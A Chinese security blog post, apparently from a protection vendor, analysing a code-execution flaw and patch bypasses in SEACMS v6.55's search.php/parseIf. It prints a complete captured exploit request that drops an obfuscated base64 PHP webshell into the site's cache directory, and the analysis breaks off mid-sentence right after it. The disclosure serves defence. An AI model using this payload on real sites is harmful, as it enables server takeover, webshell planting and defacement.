海洋CMS(SEACMS)v6.55执行任意代码漏洞及其补丁绕过方法

概述

最近我们的一名安全托管客户反应,其服务器遭受到攻击,被黑客上传了webshell并篡改网页内容。经过我们为客户安装云锁防护软件后,拦截到一个针对海洋CMS(SEACMS)的0day漏洞。
海洋CMS是一套专为不同需求的站长而设计的视频点播系统,在影视类CMS中具有很高的市场占有率,其官方地址是:http://www.seacms.net/

海洋CMS(SEACMS)几个老漏洞及其修补方法

在2017年2月,海洋CMS 6.45版本曾爆出一个前台getshell漏洞,漏洞具体内容参见:http://blog.csdn.net/qq_35078631/article/details/76595817。该漏洞成因在于search.php没有对用户输入内容进行过滤,导致攻击者提交的order参数可进入parseIf函数中执行eval。
官方在6.46版中修复了该漏洞,修复方法是对用户输入的参数进行过滤并限制长度为20个字符。但这种修复方法并没有完全修复漏洞,因为在替换操作过程中用户输入的几个参数可以进行组合,因此补丁被绕过。
随后官方又在8月7日发布了6.54版本再次修复漏洞,这次修复增加了一句:

$order = ($order == "commend" || $order == "time" || $order == "hit") ? $order : "";

即限制了order参数只能是固定内容,这样虽然避免了通过order参数进行的攻击,但是却没有解决其他参数进入parseIf函数的问题。

海洋CMS(SEACMS)0day漏洞分析

我们抓取到的攻击payload如下:

POST /search.php HTTP/1.1
Host: www.xxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 1317
Connection: keep-alive
Upgrade-Insecure-Requests: 1

searchword={if{searchpage:year}&searchtype=5&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=file_p&9[]=ut_contents('./data/cache/wee.&9[]=php',base&9[]=64_decode('PD9waHAgCiRsZz0iWlRack5HdGZhMlJyaXJaV3RpcmphMjlyWkdpcnRsaXJJaWs3Q2lSelluQWdQaXJTQWtkaXJtSnNLQ2lySmpkSGNpTENJaUxDSmpkSGlyZGppclkzUjNjaXJtVmpkSGRoZEdOMGQyVmpkSGRmWm1OMGQzVnVpclkyTiI7CiR2cT0iSUFva2RXWTlpckluTnVZek1pT3dva2EyRTlpcklrbEZRbXhraXJiVVppYzBzaU93aXJva2NHcDBpclBTSkRVbVpWUlRsVVZraXJZaU93b2tkbUpzSUQwZ2MzUnlYM0psY0d4aFkyVW9pckluaXJScElpd2lJaXdpZEciOwokamogPSBzdHJfcmVwbGFjZSgicGMiLCIiLCJwY3NwY3RycGNfcGNycGNlcGNwbHBjYWNwY2UiKTsKJHJrZj0ibHpkR2xpcjBkR2x5ZEdsZmNpcm5ScFpYUnBjR3gwaXJhV0YwaXJhV05sSWlrN0NpUnBjWGM5SWtZMlkybGtaRWlydFVjejBpT3dva1ltaXJ0bUlpckRpcjBnSkhaaWJDZ2lheUlzSUNJaUxDaXJBaWEySmhhM05yIjsKJHFpPSIwZDNSamRIZHBiMk4wZDJpcjRpS1RzS2lySkcxd2VTQTlJQ1J6WW5Bb0p5Y3NJQ1JpYTJZb0pIWmliQ2dpWWlJc0lDSWlMaXJDQWthMkV1SkhpckJpcnFkQzRrZFdZdUpHbHhkeWtpcnBLVHNnSkcxd2VTZ3BPd289IjsKJG5zeCA9ICRqaigiZGQiLCAiIiwgImJkZGFzZGRlZGQ2ZGQ0ZGRfZGRkZGRlZGRjZGRvZGRkZGRlIik7CiRpZmwgPSAkamooImVmIiwiIiwiZWZjcmVhdGVmZV9lZmZlZnVlZm5lZmNlZnRpZWZvZWZuIik7CiRqZXogPSAkaWZsKCcnLCAkbnN4KCRqaigiaXIiLCAiIiwgJHZxLiRya2YuJGxnLiRxaSkpKTsgJGpleigpOwo/Pg=='));ec&9[]=ho(md5(123));exit;

可以看到,攻击

Posted on 十月 17, 2017 at 下午4:29 by admin · Permalink
In: Web安全

友情链接